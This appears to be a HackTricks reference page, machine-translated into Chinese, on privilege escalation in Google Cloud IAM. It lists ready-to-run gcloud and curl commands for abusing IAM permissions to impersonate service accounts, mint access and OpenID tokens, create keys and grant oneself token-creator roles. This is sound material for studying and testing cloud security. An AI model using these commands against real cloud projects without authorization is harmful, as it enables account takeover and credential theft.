GCP - IAM Privesc

支持 HackTricks

IAM

在以下位置找到有关 IAM 的更多信息:

iam.roles.update (iam.roles.get)

具有上述权限的攻击者将能够更新分配给您的角色,并为您提供对其他资源的额外权限,例如:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

您可以在此处找到一个脚本,用于自动创建、利用和清理漏洞环境,以及一个用于滥用此权限的python脚本在这里。有关更多信息,请查看原始研究

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

具有上述权限的攻击者将能够请求属于服务帐户的访问令牌,因此可以请求具有比我们更高权限的服务帐户的访问令牌。

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

您可以在这里找到一个脚本,用于自动化创建、利用和清理漏洞环境,以及一个用于滥用此权限的python脚本在这里。有关更多信息,请查看原始研究

iam.serviceAccountKeys.create

具有上述权限的攻击者将能够为服务账户创建用户管理的密钥,这将允许我们以该服务账户的身份访问GCP。

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

您可以在这里找到一个脚本,用于自动化创建、利用和清理漏洞环境,以及一个用于滥用此权限的Python脚本在这里。有关更多信息,请查看原始研究

请注意,iam.serviceAccountKeys.update无法修改SA的密钥,因为要做到这一点,还需要权限iam.serviceAccountKeys.create

iam.serviceAccounts.implicitDelegation

如果您在一个服务账户上拥有**iam.serviceAccounts.implicitDelegation权限,并且该服务账户在第三个服务账户上拥有iam.serviceAccounts.getAccessToken权限,那么您可以使用implicitDelegation为该第三个服务账户创建一个令牌**。以下是一个帮助解释的图示。

请注意,根据文档gcloud的委托仅适用于使用generateAccessToken()方法生成令牌。因此,您可以直接使用API获取令牌:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

您可以在这里找到一个脚本来自动化创建、利用和清理漏洞环境,以及一个用于滥用此权限的python脚本在这里。有关更多信息,请查看原始研究

iam.serviceAccounts.signBlob

具有上述权限的攻击者将能够在GCP中签署任意有效负载。因此,将能够创建SA的未签名JWT,然后将其作为blob发送以获取我们目标SA签署的JWT。有关更多信息请阅读此文

您可以在这里找到一个脚本来自动化创建、利用和清理漏洞环境,以及一个用于滥用此权限的python脚本在这里在这里。有关更多信息,请查看原始研究

iam.serviceAccounts.signJwt

具有上述权限的攻击者将能够签署格式良好的JSON Web令牌(JWT)。与前一种方法的区别在于我们使用的signJWT方法已经期望一个JWT,而不是让google签署一个包含JWT的blob。这使得使用更容易,但您只能签署JWT,而不是任何字节。

您可以在这里找到一个脚本来自动化创建、利用和清理漏洞环境,以及一个用于滥用此权限的python脚本在这里。有关更多信息,请查看原始研究

iam.serviceAccounts.setIamPolicy

具有上述权限的攻击者将能够向服务账户添加IAM策略。您可以利用它来授予自己您需要的权限以冒充服务账户。在以下示例中,我们将roles/iam.serviceAccountTokenCreator角色授予自己,针对有趣的SA:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

您可以在这里找到一个脚本,用于自动化创建、利用和清理漏洞环境

iam.serviceAccounts.actAs

iam.serviceAccounts.actAs 权限 类似于 AWS 的 iam:PassRole 权限。它对于执行任务至关重要,例如启动 Compute Engine 实例,因为它授予“作为”服务帐户的能力,确保安全的权限管理。如果没有这个,用户可能会获得不当访问。此外,利用 iam.serviceAccounts.actAs 涉及多种方法,每种方法都需要一组权限,这与其他只需要一个权限的方法形成对比。

服务帐户 impersonation

模仿服务帐户对于获得新的更高权限非常有用。您可以通过三种方式模仿另一个服务帐户

  • 使用 RSA 私钥进行身份验证(如上所述)

  • 使用 Cloud IAM 策略进行授权(在此处介绍)

  • 在 GCP 服务上部署作业(更适用于用户帐户的妥协)

iam.serviceAccounts.getOpenIdToken

具有上述权限的攻击者将能够生成 OpenID JWT。这些用于声明身份,并不一定对资源具有隐含的授权。

根据这篇有趣的文章,需要指明受众(您希望使用令牌进行身份验证的服务),您将收到一个由 Google 签名的 JWT,指示服务帐户和 JWT 的受众。

您可以使用以下命令生成 OpenIDToken(如果您有访问权限):

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

然后你可以直接使用它来访问服务:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

一些支持通过这种令牌进行身份验证的服务包括:

您可以在这里找到如何为服务账户创建 OpenID 令牌的示例。

参考文献

支持 HackTricks

Last updated